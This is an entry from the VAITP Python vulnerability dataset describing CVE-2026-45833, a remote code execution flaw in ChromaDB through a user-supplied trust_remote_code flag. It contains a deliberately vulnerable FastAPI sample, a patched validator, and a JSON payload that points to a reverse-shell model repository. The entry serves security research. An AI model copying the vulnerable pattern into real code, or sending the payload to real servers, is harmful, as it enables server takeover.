VAITP Dataset

← Back to the dataset

CVE-2026-45833

Authenticated RCE in ChromaDB via malicious model with trust_remote_code.

  • CVSS 9.4
  • CWE-94
  • Input Validation and Sanitization
  • Remote

A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust_remote_code set to true in the /api/v2/tenants/default_tenant/databases/default_database/collections/{collection_id} if they have the UPDATE_COLLECTION permission.

CVSS base score
9.4
Published
2026-06-12
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
ChromaDB
Fixed by upgrading
Yes

Solution

Upgrade ChromaDB to version 0.4.21 or later.

Vulnerable code sample

from fastapi import FastAPI, HTTPException, Depends
from pydantic import BaseModel
from typing import Optional

# This is a stand-in for a library like 'transformers'
class VulnerableModelLoader:
    @staticmethod
    def from_pretrained(model_repo: str, trust_remote_code: bool = False):
        if trust_remote_code:
            # In a real scenario, this would execute code from the repo.
            # For this example, we just print a message indicating code execution.
            # A malicious actor could inject code here, e.g., using os.system(...)
            print(f"Executing untrusted code from repository '{model_repo}'")
        else:
            print(f"Safely loading model from '{model_repo}'")
        return {"repo": model_repo, "status": "loaded"}

app = FastAPI()

class CollectionMetadataUpdate(BaseModel):
    model_repository: Optional[str] = None
    trust_remote_code: Optional[bool] = False

def check_update_collection_permission(user: str = "default_user"):
    # In a real system, this would verify the user's permissions.
    # Here we simulate an authenticated user with the required permission.
    return True

@app.put("/api/v2/tenants/default_tenant/databases/default_database/collections/{collection_id}")
def update_collection(
    collection_id: str,
    update_data: CollectionMetadataUpdate,
    authorized: bool = Depends(check_update_collection_permission)
):
    if not authorized:
        raise HTTPException(status_code=403, detail="Permission denied")

    if update_data.model_repository:
        try:
            # THE VULNERABILITY:
            # The 'trust_remote_code' parameter is taken directly from user
            # input and passed to the model loader. If an attacker sends a
            # malicious 'model_repository' and sets 'trust_remote_code' to true,
            # arbitrary code will be executed on the server.
            VulnerableModelLoader.from_pretrained(
                model_repo=update_data.model_repository,
                trust_remote_code=update_data.trust_remote_code
            )
            # ... further logic to associate the model with the collection
        except Exception as e:
            raise HTTPException(status_code=500, detail=f"Failed to load model: {e}")

    return {
        "message": "Collection updated",
        "collection_id": collection_id,
        "metadata_applied": update_data.dict()
    }

Patched code sample

import pydantic
from typing import Optional

# The CVE describes a scenario where a user can pass `trust_remote_code=True`
# in a collection update. In a modern Python application using Pydantic for
# validation, the fix is to add a validator that explicitly forbids this
# parameter from being set to True by a user.
#
# This Pydantic model represents the part of the API payload that would be
# validated. The validator function is the specific fix.

class CollectionUpdateMetadata(pydantic.BaseModel):
    """
    A Pydantic model to validate metadata updates for a collection.
    """
    # Other metadata fields would be defined here...

    # The field that an attacker would attempt to manipulate.
    trust_remote_code: Optional[bool] = None

    @pydantic.validator("trust_remote_code")
    def prevent_trust_remote_code_via_api(cls, v: Optional[bool]) -> Optional[bool]:
        """
        FIX: This validator prevents a user from setting `trust_remote_code`
        to True. If the value is True, it raises a ValueError, which stops
        the request from being processed and prevents the code injection.
        This setting should only be configurable on the server side by an
        administrator, not via the public API.
        """
        if v is True:
            raise ValueError(
                "'trust_remote_code' cannot be set to True via the API. "
                "This option is restricted to server-side configuration."
            )
        return v

# --- DEMONSTRATION OF THE FIX IN ACTION ---
# This part would not be in the application code but demonstrates how the
# validator works.

# 1. An attacker sends a malicious payload attempting to set trust_remote_code=True.
malicious_payload = {"trust_remote_code": True}

try:
    # The validation will fail here due to the validator.
    CollectionUpdateMetadata.parse_obj(malicious_payload)
except pydantic.ValidationError as e:
    print("Fix successful: Attacker's payload was correctly rejected.")
    print(f"Reason: {e}\n")


# 2. A legitimate user sends a payload without this flag or with it set to False.
legitimate_payload_1 = {}
legitimate_payload_2 = {"trust_remote_code": False}

try:
    # This will pass validation.
    CollectionUpdateMetadata.parse_obj(legitimate_payload_1)
    CollectionUpdateMetadata.parse_obj(legitimate_payload_2)
    print("Fix confirmed: Legitimate payloads are processed correctly.")
except pydantic.ValidationError:
    print("Error: Legitimate payload was incorrectly rejected.")

Payload

{
  "metadata": {
    "chroma:embedding_function": {
      "type": "HuggingFaceEmbeddingFunction",
      "model_name": "Attacker/reverseshell-model",
      "trust_remote_code": true
    }
  }
}

Cite this entry

@misc{vaitp:cve202645833,
  title        = {{Authenticated RCE in ChromaDB via malicious model with trust_remote_code.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-45833},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45833/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::